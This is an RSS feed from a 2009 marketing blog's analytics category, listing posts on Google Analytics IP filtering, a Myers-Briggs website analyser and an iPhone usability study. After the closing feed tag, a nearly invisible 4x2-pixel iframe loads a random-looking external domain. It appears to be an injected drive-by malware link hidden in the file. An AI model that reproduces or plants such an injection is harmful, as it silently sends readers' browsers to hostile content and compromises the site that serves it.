<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kineo Australia &#187; Data &amp; Analytics</title>
	<atom:link href="http://www.kineo.com.au/topics/data-analytics/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kineo.com.au</link>
	<description>Digital Strategy, Online Marketing &#38; Business Blog</description>
	<lastBuildDate>Thu, 11 Jun 2009 00:26:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google Analytics &#8211; How to filter out your own IP</title>
		<link>http://www.kineo.com.au/2009/google-analytics-how-to-filter-out-your-own-ip/</link>
		<comments>http://www.kineo.com.au/2009/google-analytics-how-to-filter-out-your-own-ip/#comments</comments>
		<pubDate>Sun, 04 Jan 2009 17:52:53 +0000</pubDate>
		<dc:creator>Tom Kelshaw</dc:creator>
				<category><![CDATA[Data & Analytics]]></category>
		<category><![CDATA[analytics]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=139</guid>
		<description><![CDATA[We&#8217;re an analytical bunch here at Kineo, and we like to know where our website traffic comes from and how much we get. We use Google Analytics.
IPs that muddy up your stats
It&#8217;s very important that company or campaign website analytics programs filter out traffic from &#8220;friendly&#8221; IPs (addresses of your computer and work network) &#8211; [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/google-analytics-how-to-filter-out-your-own-ip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Myers-Briggs: Kineo Are Scientists</title>
		<link>http://www.kineo.com.au/2008/myers-briggs-results-we-are-scientists/</link>
		<comments>http://www.kineo.com.au/2008/myers-briggs-results-we-are-scientists/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 00:43:32 +0000</pubDate>
		<dc:creator>Tom Kelshaw</dc:creator>
				<category><![CDATA[Data & Analytics]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=115</guid>
		<description><![CDATA[Site: Typealyzer analyses your website (or anyone else&#8217;s) based on its text, and returns a Myers-Briggs personality type. Like astrology, psychoanalysis, restuarant reviews or school report cards, anything derived from a quasi-science should be taken with a grain of salt, but the results are interesting:
Kineo are&#8230; Type: INTJ (&#8221;Scientists&#8221;)
The Myers-Briggs website describes this as:
&#8220;[INTJ] have [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2008/myers-briggs-results-we-are-scientists/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Usability study &#8211; How people really use the iPhone</title>
		<link>http://www.kineo.com.au/2008/usability-study-how-people-really-use-the-iphone/</link>
		<comments>http://www.kineo.com.au/2008/usability-study-how-people-really-use-the-iphone/#comments</comments>
		<pubDate>Mon, 01 Dec 2008 12:20:21 +0000</pubDate>
		<dc:creator>Tom Kelshaw</dc:creator>
				<category><![CDATA[Data & Analytics]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[user experience]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=95</guid>
		<description><![CDATA[Some interesting results from a study by clever folks at &#8220;Create with Context&#8221; &#8211; who design and re-design digital products &#8211; on iPhone usage. They conducted lab usability tests on experienced iPhone owners, iPhone novices and people who&#8217;d never touched an iPhone.
Some of the results are interesting, and they offer some useful iPhone interface design [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2008/usability-study-how-people-really-use-the-iphone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>